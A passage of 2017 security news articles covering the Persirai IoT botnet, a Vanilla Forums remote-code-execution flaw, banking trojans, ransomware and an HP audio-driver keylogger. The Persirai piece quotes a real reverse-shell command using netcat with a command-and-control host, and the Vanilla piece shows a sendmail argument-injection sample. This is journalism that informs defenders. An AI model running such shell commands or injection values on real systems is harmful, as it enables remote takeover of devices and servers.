This attack demonstrates the risks related to the militarization of the cyberspace. Malware, exploits code and hacking tools developed by intelligence agencies and governments could be very dangerous when go out of control.
The success of the malware is due to the wrong security posture of the victims that have no awareness of the threat and that did not apply security patches released by Microsoft.
Modern critical infrastructure is not resilient to cyber attacks.


New IOT Attack Linked To Iran – Persirai Malware Strikes at IP Cameras in Latest IOT Attack
12.5.2017 securityaffairs IoT

Trend Micro has discovered a new attack on internet-based IP cameras and recorders powered by a new Internet of Things (IOT) bot dubbed PERSIRAI.
Trend Micro has discovered a new attack on internet-based IP cameras and recorders. The new Internet of Things (IOT) attack called ELF_PERSIRAI has also been back-tracked to an Iranian research institute which restricts its use to Iranians only, indicating a possible state sponsored cyber strike by Tehran.

“C&C (Command and Control) servers we discovered were found to be using the .IR country code. This specific country code is managed by an Iranian research institute which restricts it to Iranians only. We also found some special Persian characters which the malware author used,” stated Trend Micro in its discovery release posted online.

IP Camera users have also encounter the malware attack and noted its point of origin appears to be Iran.

“Hello found the following text on my 2 ip cameras (nc load.gtpnet.ir 1234 -e /bin/sh) and wondering who does that domain belong to? All I know is it is an iranian address nothing on whois. Ive obviously been hacked one of these cameras was in the kids room,” stated one user in the Reddit hacking forum.

The attack is based on the previously successful Mirai IOT strike against IP cameras that was used to disrupt the Internet with a giant Denial of Service (DOS) attack in 2016. However, while over 120,000 IP camera systems appear to be infected, over 30% of the Persirai targets are inside China with only small fraction located outside of the PRC; in Italy (3%), the UK (3%) and the USA (8%).

The Persirai attack is disturbing on a number of fronts. Its base on the open-source Mirai strike shows that the freely available source code will be modified by attackers to strike again in different forms. Persirai is also very stealthy, leaving most camera owners unaware that their systems are infected.

Yet, the worst feature is that the command and control computers used to run the malicious bot-net are using the country code of IR or Iran. Infected IP cameras report to command servers at:

load.gtpnet.ir
ntp.gtpnet.ir
185.62.189.232
95.85.38.103
The Persirai attack installs itself and then deletes the installation files to hide its presence on the target camera, running in memory only. It then proceeds to download and install additional control software and blocking software. Once communications are established with the command and control network server, the infected camera is then ordered to search for other cameras and infect them as well.

persirai

Persirai blocks other zero-day exploits from gaining access to a targeted IP Camera by pointing ftpupdate.sh and ftpupload.sh to /dev/null, preventing other attacks. This feature may be an effort to prevent duplicate attacks by Persirai as much as to prevent other bot-net attackers from gaining control of the now captured IP Camera. The fact that Persirai is running in memory does mean it is also eliminated once the IP Camera is rebooted but, unless the user takes counter-measures, the targeted system will still be vulnerable to the exploit.

While Trend Micro advises IP Camera users to use strong passwords, the Persirai attack is not dependent on a password attack, nor does it appear to steal passwords. A better counter-measure is to disable Universal Plug and Play (UPnP) features on your router. Universal Plug and Play (UPnP) is a network protocol that allows devices such as IP Cameras to open a port on the router and act like a server. This feature also makes the attached devices highly visible targets for the Persirai malware attack.

Users can also simply remove their IP Camera systems from Internet access altogether and then set up a private VPN service to allow them to log into the cameras by remote. Users are also advised to update their firmware on their IP Cameras and maintain a close inspection of any web address linked activity.

The Persirai attack is part of a new trend to strike at the Internet via devices not traditionally viewed as computers. These malware strikes illustrate the issue of vendors selling hardware with little or no security. There are no current regulations or standards for IOT device security. Consumers are literally left on their own and frequently choose low cost systems which have no security features such as encryption or even manufacturer updates.

While many IOT users are aware enough to update their computers and cell phones with the latest software and perform anti-virus checks, they are not aware that other devices such as cameras, washing machines, refrigerators and DVR recorders may also require security checks. Even DVD players and smart TVs from major manufacturers are vulnerable to exploits as illustrated by the Wikileaks release of the WEEPING ANGEL attacks developed by the CIA in co-operation with the UK’s GCHQ spy agency which attacked Samsung TVs.

Details from Trend Micro on Persirai:

http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/


Vanilla Forums software is still affected by a critical remote code execution zero-day first reported in December 2016.
12.5.2017 securityaffairs Vulnerebility

The popular Vanilla Forums software is still affected by a critical remote code execution zero-day first reported to the development team in December 2016.
The exploit code was published by ExploitBox, a remote attacker can chain the flaw with the Host Header injection vulnerability CVE-2016-10073 to execute arbitrary code and take the control of the affected software.

Vanilla Forums

Vanilla Forums is the software mentioned by the popular security researcher Dawid Golunski in the following critical PHPMailer advisories a few months ago:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
“The researcher also developed an Unauthenticated RCE exploit for a popular
open-source application (deployed on the Internet on more than a
million servers) as a PoC for real-world exploitation. It might be published after the vendor has fixed the vulnerabilities. ” wrote Golunski.


Dawid Golunski @dawid_golunski
Another day another #RCE #0day - #Vanilla Forums 2.3 -Patch it up #infosec
Advisory&PoC #exploit at #Exploit_Box https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html …
4:51 PM - 11 May 2017
50 50 Retweets 57 57 likes
He has been waiting for a few months before publishing the Vanilla Forums RCE exploit together with the WordPress 4.6 RCE exploit.


The Vanilla Forums software leverages PHPMailer that uses PHP’s mail() function as its default transport, as explained by the expert.

The mail() function can then be used to call Sendmail and an attacker can inject extra parameters into Sendmail by chaining the flaw with the CVE-2016-10073 vulnerability.

For example:

“Attacker \” -Param2 -Param3″@test.com

when processed by the PHPMailer (and eventually sent to mail()) function would cause sendmail to execute with:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3″@test.com]
Dawid Golunski in the ExploitBox post demonstrates how an HTTP 1.0 Web request to the forum will allow code injection down to PHPMailer.

“It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost.” wrote Golunski.

“This is possible as the attacker can take advantage of HTTP/1.0 protocol and specify the exact vhost within the URL. This will allow the HOST header to be set to arbitrary value as the Apache server will obtain the SERVER_NAME from the provided URL. This will ensure that the malicious request will reach the affected code despite invalid vhost within the HOST header.”

Below a video PoC of the exploit:


“The exploits and techniques prove that these type of vulnerabilities could be exploited by unauthenticated attackers via server headers such as HOST header that may be used internally by a vulnerable application to dynamically create a sender address.” Golunski told me. “This adds to the originally presented attack surface of contact forms that take user input including From/Sender address.”

These vulnerabilities affect the latest Vanilla Forums stable version 2.3 which unfortunately remains unpatched.

The 0day Vanilla Forums advisories are at:

https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
ExploitBox suggests setting the sender’s address to a static value, in this way it is possible to do not use the HOST header.


Blue Team X Black Hats – A Different Soccer Match
12.5.2017 securityaffairs Hacking

The metaphor of a football match to explain the daily confrontation of a blue team against Black Hats. Who is the winner?
I invite you to imagine a different soccer match. At one side, the Blue Team, in charge of your company’s cyber security protection. In the other, the Black Hats, eager to bypass your company’s cyber defenses and score goals at any cost.

Right now you may be imagining eleven players in each side of the field, properly uniformed, a referee at the center, some coaches, the reserves and so on, like a normal soccer match.

Blue Team black hats

However, the reality may be quite different if we apply to the match the restrictions and challenges faced by cyber security. Let’s take a look:

The Blue Team is usually composed of a very limited number of players, unlike Black Hat which is composed of an uncountable number of them, from random to focused attackers, amateur to professional, willing to score against you;
There is no rule on accepting new Black Hat players in the game. In opposite, it is hard to find new Blue Team members due to investments that hardly ever approved by boards. At most, they are replaced;
If sponsors investments are not adequate, the Blue Team players may have to play in the dark, unable to notice the opponent’s moves and attacks. Even the opponent’s crowd noise, makes it harder for the Blue Team;
There is no limit to the number of balls during the match and only the Black Hats have them. It is common to see Black Hat players (alone or in groups) with its own ball executing rehearsed plays;
The Black Hats are very good at the art of deceiving, hence, it is not uncommon seeing them convincing Blue Team players or its crowd to score against;
Unlike a normal match, it doesn’t end after 90 minutes. It may last for several days, weeks, months… And due to the limited number of players on the Blue Team, the whole team cannot protect the goal at all times. The Black Hats, in the other hand, can attack anytime;
The Blue Team always plays sitting behind the ball, on defense. The Black Hats do not have this limitation. They play freely throughout the whole field looking for good goal opportunities;
The match results are also different. They may end only in a draw or victory for the Black Hats. We should consider a victory for the Blue Team when and if it avoids taking goals. Unfortunately this is hardly any prestigious. As a side effect, “blues” generally have much smaller crowds;
There is no referee in the field. Despite that, the “Blue Team” is forced into playing fair. Also, goals are acknowledged (or not) by the Blue Team’s technical committee. If a goal is “perceived” and accepted too late, it is doubled.
Let’s consider that it’s enough explanation for our metaphor and update the field image.

Blue Team black hats

Quite unfair, right? Let’s try to balance things a little. Here are some tips for the blues:

Blue Team players should carefully study all Black Hat game strategies and rehearsed plays in order to perceive and react against it as fast as possible. This “intelligence” must be munched into defensive strategies spread and absorbed through lots of training;
To be sure the Blue Team training paid off and spot some unnoticed weaknesses, hire talented attackers to practice with them from time to time;
Continually study different ways opponents could score against you. Beside training the goalkeeper, also install sensors in the crossbar to automatically detect when a ball is near;
Employ innovative technology to improve the Blue Team’s visibility. The number of Black Hat players and balls leaves the Blue Team at great disadvantage. Install and monitor motion sensors in strategic field places to detect the players moves. Beware of false alarms to do not waste your team’s precious energy;
Due to the long match period (usually endless), prepare enough reserves to have a complete team in the field at all times, regardless of the time or day;
The Black Hats are very anxious. Try to use this against them! Install false goals into the field and monitor them. They will be useful to distract and detect the opponent moves. This will be a very helpful source of knowledge new defense strategies;
Make sure the whole team is not focused into defending against the same play. With many players and balls into the field, there are many attack possibilities starting from different locations;
Go beyond defensive posture. Make the Blue Team play more advanced trying to disarm the opponents on its own own side of the field;
Record all the game from different angles and whenever you concede a goal, review the cameras and study where were the failures. Use this apprenticeship in the next training;
Now, with these improvements, let’s see the field again.

Blue Team black hats

This way, chances are the Blue Team will start making beautiful defenses to the point of getting fans and sponsors attention as if they were scoring goals!


Linux on Windows – Microsoft will offer Ubuntu, Suse, and Fedora Linux distros in the Windows Store
12.5.2017 securityaffairs IT

Linux on Windows – Microsoft is, even more, Linux friendly, the IT giant announced that three free Linux distro will be included in its official app store.
Last year the tech giant announced the support for the Bash shell and Ubuntu Linux binaries into Windows 10, news of the day is that Microsoft has announced during the company Build developer conference in Seattle that three free Linux distro will be included in its official app store, allowing Microsoft users to run Windows and Linux apps side-by-side.
The three versions of Linux distros are Ubuntu, Fedora, and SUSE.

Users will be able to install the above Linux operating systems on their Windows machine, the novelty is represented by Fedora and SUSE because Ubuntu is already available on the Windows Store for download,

linux on windows store

The decision of Microsoft is aligned with its policy to support also open source community.

In 2016, Microsoft also chose Ubuntu as the OS for its Cloud-based Big Data services and it has also joined the Linux Foundation as a Platinum member

Clearly, the operation has a specific marketing intent together the interest of the last audience of Ubuntu, Suse, and Fedora users that every day have also to work with Windows systems. Developers and experts that use Linux software can now benefit from the initiative that will port Linux on Windows.


Trump's Intel Bosses Reiterate: Russia Meddled in Election

12.5.2017 securityweek BigBrothers
Six top US intelligence officials told Congress Thursday they agree with the conclusion that Russia acted to influence last year's election, countering President Donald Trump's assertions that the hacking remains an open question.

Asked whether they believed the intelligence community's January assessment that Russia was responsible for hacking and leaking information to influence the elections was accurate, all six spy and law enforcement bosses appearing before the panel said "yes."

They included Director of National Intelligence Dan Coats, CIA director Mike Pompeo and acting FBI director Andrew McCabe, newly installed after Trump fired the agency's chief James Comey this week.

In an overview, Coats told the panel: "We assess that Russia is likely to be more aggressive in foreign global affairs, more unpredictable in its approach to the United States, and more authoritarian in its approach to domestic policies and politics."

He also cited and quoted the intelligence community's annual "Worldwide Threat Assessment" released today, which details past, present and future threats from Russia.

"Moscow has a highly advanced offensive cyber program, and in recent years the Kremlin has assumed a more aggressive cyber posture," it says.

"This aggressiveness was evident in Russia's efforts to influence the 2016 US election, and we assess that only Russia's senior-most officials could have authorized the 2016 US election-focused data thefts and disclosures, based on the scope and sensitivity of the targets."

The assessment comes amid a mushrooming crisis for the Trump team as questions swirl over why the president fired his FBI director, who was overseeing an investigation into Russian election meddling and possible connections between Trump campaign associates and Russia last year.

Trump has repeatedly denounced as "fake news" the accusations that members of his circle coordinated or colluded with Russian officials.

Asked again late last month in a CBS News interview whether he believes Russia tried to interfere in the election, Trump said "I don't know... Could've been China, could've been a lot of different groups."


Mozilla Revamps Bug Bounty Program

12.5.2017 securityweek Security
Mozilla announced on Thursday that it has relaunched its web security bug bounty program. White hat hackers are now provided clear information on how much money each type of vulnerability can earn them.

Mozilla has been running a bug bounty program since 2004. The organization initially rewarded only vulnerabilities found in its software, but in 2010 it expanded the program to include web properties.

The organization says it has paid out more than $1.6 million since 2010, but it has experienced some issues in communicating what types of flaws and which online properties are considered the most problematic.

“A hypothetical SQL injection on Bugzilla presents a different level of risk to Mozilla than a cross-site scripting attack on the Observatory or an open redirect on a community blog,” explained Mozilla security engineer April King. “To a bounty hunter, the level of risk is often irrelevant — they simply want to know if a class of bug on a specific site will pay out a bounty and how much it will pay out.”

Mozilla has decided to expand the list of websites and bug classes covered by its bug bounty program, and it now aims for greater transparency by providing more detailed information on payouts.

For instance, a remote code execution vulnerability in a critical website can earn bounty hunters $5,000, while an authentication bypass or a SQL injection can be worth up to $3,000. Cross-site request forgery (CSRF), cross-site scripting (XSS), XML external entity (XXE) and domain takeover flaws affecting critical sites can receive a payout of up to $2,500.

Mozilla bug bounty payouts

Critical properties include the main Firefox and Mozilla websites, and domains related to services such as ABSearch, add-ons, Bugzilla, crash reports, downloads, Firefox-related services, Push, Shield, Test Pilot, tracking protection and source control.

“Having a clear and straightforward table of payouts allows bounty hunters to devote their time and effort to discovering bugs that they know will receive a payout. The hunters will also know the exact amount of the payouts,” King said.

In addition to expanding the list of properties eligible for monetary rewards, Mozilla informed users that there are some new bug classes that can qualify for its bug bounty Hall of Fame.


Audit Finds Only One Severe Vulnerability in OpenVPN

12.5.2017 securityweek Vulnerebility
Two teams of experts have conducted audits of the open-source virtual private network (VPN) application OpenVPN, including its use of cryptography, and they identified only one high severity vulnerability.

One audit, conducted between December 2016 and February 2017, was carried out by cryptography expert Dr. Matthew Green and funded by Private Internet Access (PIA). Green and his team looked for both memory-related vulnerabilities (e.g. buffer overflows and use-after-free) and cryptographic weaknesses.

A security review of OpenVPN was also conducted by Quarkslab over a 50-day period between February and April, with funding from the Open Source Technology Improvement Fund (OSTIF). This audit focused on OpenVPN for Windows and Linux, the OpenVPN GUI, and the TAP driver for Windows. Both audits targeted OpenVPN 2.4.

Quarkslab discovered one vulnerability that has been rated high severity. The flaw, tracked as CVE-2017-7478, is a denial-of-service (DoS) issue that allows an unauthenticated attacker to crash OpenVPN clients and servers. Researchers pointed out that the weakness can be easily exploited.

Quarkslab also identified a medium severity DoS vulnerability (CVE-2017-7479) that can only be exploited by an authenticated attacker. The other security bugs found by the company have been classified as low severity or informational issues.

The audit conducted by Dr. Green’s Cryptography Engineering did not uncover any major flaws.

Experts did find a couple of medium severity vulnerabilities – one of them is related to the fact that sensitive authentication tokens are not wiped from memory in case of certain TLS errors, and the second issue involves potentially flawed TLS control channel encryption. Cryptography Engineering also reported discovering six low severity problems.

The more serious issues have already been addressed by OpenVPN developers, and the less severe problems will be patched in the next official release.

“Given the numerous options and features provided by OpenVPN, vulnerabilities may crop up from certain feature combinations. This will be an ongoing challenge for OpenVPN developers to catch these problems early as the code base continues to evolve and expand,” Cryptography Engineering said in its report. “While the overall cryptographic design of OpenVPN is solid, some of the options available may undermine a user’s ability to deploy a secure VPN solution. As such, we recommend that the OpenVPN developers continue to document the risks of using certain advanced features to users.”

“OpenVPN is much safer after these audits, and the fixes applied to the OpenVPN mean that the world is safer when using this software,” OSTIF said in a blog post. “We have verified that the OpenVPN software is generally well-written with strong adherence to security practices.”

OSTIF pointed out that its next target is OpenSSL 1.1.1, which is the first version to implement TLS 1.3 and which contains numerous code changes.


Vanilla Forums Rushes to Patch Disclosed Vulnerabilities

12.5.2017 securityweek Vulnerebility
The developers of Vanilla, a forum software with nearly one million downloads, rushed to release a security update on Thursday after a researcher made public details and exploits for two unpatched vulnerabilities.

Security researcher Dawid Golunski reported in late December 2016 that he had discovered a critical remote code execution vulnerability in PHPMailer, the world’s most popular email creation and transfer class for PHP. Given the widespread use of the library, many applications were exposed to attacks due to the flaw, including the Vanilla Forums software.

In the case of Vanilla Forums 2.3, the PHPMailer vulnerability can be combined with a host header injection weakness (CVE-2016-10073), allowing a remote, unauthenticated attacker to execute arbitrary code and hijack the targeted website, the expert said.

According to the researcher, the host header injection vulnerability can be exploited by an unauthenticated attacker to intercept Vanilla password reset hashes and gain unauthorized access to the victim’s account.

The flaw exists due to the fact that the value of the user-supplied HTTP HOST header in a request is used to generate the sender’s email address. This security hole is similar to one found recently by Golunski in WordPress.

An attacker can exploit this vulnerability by sending a specially crafted password reset request with the HOST header set to a domain they control. The email received by the victim will appear to come from an address on the attacker’s domain, and the password reset link will also point to the attacker’s server, allowing them to intercept the password reset hash if the victim clicks on the link.

Golunski said he reported the vulnerabilities to Vanilla Forums developers in December 2016, and decided to make his findings public now after receiving no updates from the vendor. The researcher has also published a video showing the exploit in action:

A few hours after the expert published an advisory, Vanilla Forums announced the release of version 2.3.1, which patches these vulnerabilities and fixes some other minor issues. The company pointed out that the flaws only affected the free and open source version of the forum software. Its cloud service at vanillaforums.com was not affected by either of the vulnerabilities.

According to Vanilla Forums, fixing the host header injection vulnerability was a complex matter that needed time. Now that Golunski made his findings public, developers have decided to address the issue by “stripping its use,” which could cause problems for some configurations. The security hole has been classified as “medium” severity.

The company admitted making a mistake in not updating the PHPMailer library sooner, but also blamed Golunski for not following up to remind them of the vulnerability.


GootKit Trojan Targets Banks With Redirection Attacks

12.5.2017 securityweek Virus
The GootKit banking malware has joined the growing band of advanced financial trojans that have migrated from web-injections to redirection attacks. Others include Dridex, GozNym and TrickBot.

The majority of bank malware still uses web injection to engineer victims into disclosing their bank credentials and stealing their funds. This involves injecting false information to appear on the victim's screen during a visit to the bank's website. But it has weaknesses -- namely in visiting the bank, the bank's own security defenses are brought into play, while injection from the malware's configuration file can be detected by security controls.

Redirection is considered to be more sophisticated and more dangerous. This involves monitoring the victim to learn which bank is used, and then redirecting the browser to a ready-made but false website. GootKit now "hijacks infected victims to a fake website to trick them into a simulated online banking session. Only this one is completely fraudulent," writes IBM cybersecurity threat intelligence expert Limor Kessem who discovered the new version.

Effective redirection is more difficult to achieve because it requires registering a bank look-alike domain, and then recreating the relevant pages so precisely that the victim accepts it as genuine. When it works, however, neither the victim nor the bank is aware of the attacks; and the criminals will simply receive the victim's login details. "Instead of injecting the page, the actor hijacks the victim to an entirely different page hosted directly on rogue servers," writes Kessem.

If the deception is successful and the victim logs in, web-injection will still occur -- only this time it is pulled invisibly from the server in real time rather than visibly injected directly from the malware.

GootKit was first detected almost three years ago. A summer 2016 analysis by IBM described the earlier version as "a malware project that implements stealth and persistency alongside real-time, web-based activities like dynamic webinjections, which modify the banking website as rendered in the infected machine's browser. Since it is operated by one gang, GootKit is believed to have its own in-house developers focused on evolving its stealth mechanisms, security evasion techniques and fraud capabilities."

The ongoing nature of the 'project' is now confirmed by its evolution to redirection.

The new variant of GootKit was first discovered in the UK targeting four specific banks; although IBM expects to see it expand into other regions with other banks. It is not unusual for redirection bank malware to be 'launched' in the UK. The same happened with Dyre in 2014, and later with Dridex and TrickBot. "The only other Trojan that uses redirection attacks is GozNym," notes Kessem. "In this case, it was an exception, since it launched redirection attacks in Poland."

There are some suggestions that the UK is chosen precisely because of the maturity of the banking system and the quality of UK bank security defenses: if it works in the UK, it should work anywhere. However, America and Europe are frequently targeted by financial malware simply because bank procedures are well-understood by the criminal gangs, and the victims are relatively wealthy.

GootKit is considered to be one of the more sophisticated of the banking trojans, but is not generally widespread. "GootKit's overall prevalence in the wild is rather limited compared to other malware of its class," says Kessem. "This is due to its operators keeping campaigns focused on a small number of countries."

It is usually delivered by phishing designed to send the victim to a malicious site. Recent campaigns have been seen using the RIG exploit kit and malvertising sprees known as the EITest campaign.


New Jaff Ransomware Distributed via Necurs Botnet

12.5.2017 securityweek Ransomware
A brand new ransomware family is being distributed via Necurs, the botnet behind Locky and Dridex campaigns over the past year.

Responsible for an increase in spam-driven malware distribution last year and the main source of Locky infections, Necurs was silent for the first three months of 2017. At the end of March, however, the botnet resumed activity, yet it returned to pushing Locky only in late April.

Dubbed Jaff, the new ransomware variant is using .PDF files as attachments in the spam emails sent by Necurs, the same as Locky did when it resumed activity last month. When opened, the PDF would execute a Word document containing a malicious macro.

In addition to using the same infection vector as Locky, Jaff features a similar payment page too, but appears to be using a different code base. However, the new ransomware is supposedly operated by the same actors that are behind Locky Affid=3 and Dridex 220/7200/7500, Proofpoint security reasearchers say.

Last year, the same threat group released Bart ransomware, a Locky variant that didn’t require connection to a command and control (C&C) server to encrypt victim’s files.

The newly discovered malware is demanding a huge ransom, at around 2 Bitcoin, which tops $3,000 at the time of writing. Most ransomware usually asks users to pay around 0.2 Bitcoin to restore the encrypted data. The recently observed Sage 2.0, however, was demanding a $2,000 ransom.

Jaff currently targets over 400 file types and appends the .jaff extension to the encrypted ones. After the encryption process has been completed, the ransomware drops two ransom notes, named ReadMe.bmp and ReadMe.html.

Distributed via Necurs, the ransomware is likely to hit a large number of users, provided that the group behind it will continue to use it instead of Locky. Primarily focused on the distribution of Dridex and Locky, the actor regularly switches to new document types, lures, exploits, and other methods that help delivering malicious payloads more effectively.

“Similarly, after months of distributing Dridex in high-volume campaigns, they introduced Locky ransomware, which ultimately became the primary payload in the largest campaigns we have ever observed. Within months, they also brought Bart ransomware to the scene. While Bart never gained significant traction, the appearance of Jaff ransomware from the same group bears watching,” Proofpoint notes.


Three Chinese Hackers Fined $9 Million for Stealing Trade Secrets
12.5.2017 thehackernews Hacking
Hackers won't be spared.
Three Chinese hackers have been ordered to pay $8.8 million (£6.8 million) after hacking email servers of two major New York-based law firms to steal corporate merger plans in December 2016 and used them to trade stocks.
The U.S. District Judge Valerie Caproni in Manhattan sued 26-year-old Iat Hong, 30-year-old Bo Zheng, and 50-year-old Hung Chin, over a multi-million dollar insider trading scam.
According to BBC News, the U.S. Securities Exchange Commission (SEC) alleged the three hackers targeted 7 different law firms, but managed to installed malware on networks belonging to two law firms only, then compromised their IT admin accounts that gave the trio access to every email account at the firms.
Access to the email and web servers allowed them to gain information on planned business mergers and/or acquisitions. The trio then used this information to buy company stock before the deal, and then sell it after the public announcement of the merger or acquisition.
The hackers made more than $4 Million in illegal profits and could face at least decades-long prison sentences if found guilty.
"The trio then bought shares in listed companies ahead of announcements about their merger plans – something that often causes the stock to jump," BBC says.
"The counts against them include conspiracy to commit securities fraud, conspiracy to commit wire fraud, wire fraud, conspiracy to commit computer intrusion, unlawful access, and intentional damage."
All the three hackers were charged in December 2016 both by the Securities and Exchange Commission (SEC), and the Department of Justice (DoJ). However, neither of them identified the affected law firms.
Mr. Hong has been ordered to pay $1.8 Million, Mr. Zheng to pay $1.9 Million, and Mr. Chin to pay $4 Million. Any United States assets they own will also be seized.
For now, only Hong, who was arrested in last December in Hong Kong, is in custody and yet to be extradited to the United States, while other two cyber criminals are on the run.


Google Won't Patch A Critical Android Flaw Before ‘Android O’ Release
12.5.2017 thehackernews Android
Millions of Android smartphones are at serious risk of "screen hijack" vulnerability that allows hackers to steal your passwords, bank details, as well as helps ransomware apps extort money from victims.
The worse thing is that Google says it won't be patched until the release of 'Android O' version, which is scheduled for release in the 3rd quarter this year.
And the worse, worse, worse thing is that millions of users are still waiting for Android N update from their device manufacturers (OEMs), which apparently means that majority of smartphone users will continue to be victimized by ransomware, adware and banking Trojans for at least next one year.
According to CheckPoint security researchers, who discovered this critical flaw, the problem originates due to a new permission called "SYSTEM_ALERT_WINDOW," which allows apps to overlap on a device's screen and top of other apps.
This is the same feature that lets Facebook Messenger floats on your screen and pops up when someone wants to chat.
Starting with Android Marshmallow (version 6), launched in October 2015, Google updated its policy that by default grants this extremely sensitive permission to all applications directly installed from the official Google Play Store.
This feature that lets malicious apps hijack a device's screen is one of the most widely exploited methods used by cyber criminals and hackers to trick unwitting Android users into falling victims for malware and phishing scams.
"According to our findings, 74 percent of ransomware, 57 percent of adware, and 14 percent of banker malware abuse this permission as part of their operation. This is clearly not a minor threat, but an actual tactic used in the wild," CheckPoint researchers notes.
Google has been using an automated malware scanner called Bouncer to find malicious apps and prevent them from entering the Google Play Store.
Unfortunately, it’s a known fact that Google Bouncer is not enough to keep all malware out of the market and our readers who are following regular security updates better aware of frequent headlines like, "ransomware apps found on play store," "hundreds of apps infected with adware targeting play store users."
Recently, researchers uncovered several Android apps available on Play Store carrying the 'BankBot banking trojan,' which abused the SYSTEM_ALERT_WINDOW permission to display overlays identical to each targeted bank app's login pages and steal victims' banking passwords.
This means that still, an unknown number of malicious apps are out there on Google Play Store equipped with this dangerous permission, which could threaten the security of millions of Android users.
“After Check Point reported this flaw, Google responded it has already set plans to protect users against this threat in the upcoming version “Android O.”
“This will be done by creating a new restrictive permission called TYPE_APPLICATION_OVERLAY, which blocks windows from being positioned above any critical system windows, allowing users to access settings and block an app from displaying alert windows.”
Meanwhile, users are recommended to beware of fishy apps, even when downloading from Google Play Store.
Moreover, try to stick to the trusted brands only and always look at the comments left by other users.
Always verify app permissions before installing apps and grant only those permissions which have relevant context for the app's purpose if you want to be safe.


Dutch Police Seize Another Company that Sells PGP-Encrypted Blackberry Phones
12.5.2017 thehackernews Mobil
The Dutch police arrested four suspects on Tuesday on suspicion of money laundering and involvement in selling custom encrypted BlackBerry and Android smartphones to criminals.
The Dutch National High Tech Crime Unit (NHTCU), dedicated team within the Dutch National Police Agency aims to investigate advanced forms of cyber crimes, carried out investigation and found that the phone brand "PGPsafe" was selling customized BlackBerry and Android smartphones with the secure PGP-encrypted network to the "possible criminal end users."
PGP (Pretty Good Privacy) is an open source end-to-end encryption standard that can be used to cryptographically sign emails, documents, files, or entire disk partitions in order to protect them from being spied on.
Selling custom security-focused encrypted phones does not involve any crime itself, but Dutch police have discovered evidence, which indicates over the years such phones had been sold to organized criminals involved in assassinations, drug trafficking, money laundering, armed robbery, and attempted murder.
Just last year, the Dutch police arrested the owner of Ennetcom, a company that was also suspected of selling customized encrypted Blackberry Phones to criminals.
At that time, the police also seized Ennetcom servers based in the Netherlands and Canada, which contain data of encrypted communications belong to a large number of criminals.
Later in March this year, the police had even managed to decrypt a number of PGP-encrypted messages stored on the seized Ennetcom server and identified several criminals in an ongoing investigation.
In the latest case, the national Dutch police force Politie announced this Wednesday that it had arrested four suspects, including three men from Amsterdam and one from Almere, east of Amsterdam.
The Fiscal Information and Investigation Service (FIOD), a Dutch Anti-Fraud agency, along with the Public Prosecutor's Office, carried out raids at multiple places in the northern Dutch cities, including Amsterdam, Koggenland, Zandvoort and Zeewolde.
During raids, the police seized a house worth 600,000 Euros, a "mansion" with an estimated value of 1.6 million Euros, around 2 Million Euros in cash, thirteen vehicles, and hundreds of cell phones from phone brand "PGPsafe."
PGPsafe claims to sell: "The first PGP-provider which only works with products with the "Highest Grade Encryption" qualification. Therefore, we guarantee the privacy that you expect."

On 9th May, all PGPsafe users received a message on their phone from the Dutch police saying (translated version):
"This is the message from Dutch Police. Under the supervision from Ministery, Police have started a large-scale criminal investigation into the providers of PGPSafe.net Blackberry and Android systems, also used by you. The investigation also focuses on potential criminal end users."
According to the police, PGPsafe with over 40,000 registered customers sells PGP-encrypted Blackberry phones between € 1,200 and € 1,500 each, and transactions mostly took place through cash payments on the public highway.
The Dutch police hope to solve nearly 34 criminal investigations in and around the country, pending since 2014, by decrypting PGP-encrypted messages stored on the servers of such PGP smartphone companies.
The Dutch authorities are keeping a close watch on companies offering similar encrypted smartphones those are being abused by criminals and terrorists.
We have reached out to PGPsafe for a comment and will update this story when we hear back.


Beware! Built-in Keylogger Discovered In Several HP Laptop Models
12.5.2017 thehackernews Security
Beware! A Built-in Keylogger Discovered In Several HP Laptops
Do you own a Hewlett-Packard (HP) laptop?
Yes? Just stop whatever you are doing and listen carefully:
Your HP laptop may be silently recording everything you are typing on your keyboard.
While examining Windows Active Domain infrastructures, security researchers from the Switzerland-based security firm Modzero have discovered a built-in keylogger in an HP audio driver that spy on your all keystrokes.
In general, Keylogger is a program that records every keystroke by monitoring every key you have pressed on your keyboard. Usually, malware and trojans use this ability to steal your account information, credit card numbers, passwords, and other private data.
HP computers come with Audio Chips developed by Conexant, a manufacturer of integrated circuits, who also develops drivers for its audio chips. Dubbed Conexant High-Definition (HD) Audio Driver, the driver helps the software to communicate with the hardware.
Depending upon the computer model, HP also embeds some code inside the audio drivers delivered by Conexant that controls the special keys, such as Media keys offers on the keypad.
Keylogger Found Pre-Installed in HP Audio Driver
According to researchers, the flawed code (CVE-2017-8360) written by HP was poorly implemented, that not just captures the special keys but also records every single key-press and store them in a human-readable file.
This log file, which is located at the public folder C:\Users\Public\MicTray.log, contains a lot of sensitive information like users' login data and passwords, which is accessible to any user or 3rd party applications installed on the computer.
Therefore, a malware installed on or even a person with physical access to a PC can copy the log file and have access to all your keystrokes, extracting your sensitive data such as bank details, passwords, chat logs, and source code.
"So what's the point of a keylogger in an audio driver? Does HP deliver pre-installed spyware? Is HP itself a victim of a backdoored software that third-party vendors have developed on behalf of HP?" Modzero researchers question HP.
In 2015, this keylogging feature was introduced as a new diagnostic feature with an update version 1.0.0.46 for HP audio drivers and existed on nearly 30 different HP Windows PC models shipped since then.
Affected models include PCs from the HP Elitebook 800 series, the EliteBook Folio G1, HP ProBook 600 and 400 series, and many others. You can find a full list of affected HP PC models in the Modzero's security advisory.
Researchers also warned that "probably other hardware vendors, shipping Conexant hardware and drivers" may also be affected.
How to Check if You are Affected and Prevent Yourself
If any of these two following files exist in your system, then this keylogger is present on your PC:
C:\Windows\System32\MicTray64.exe
C:\Windows\System32\MicTray.exe
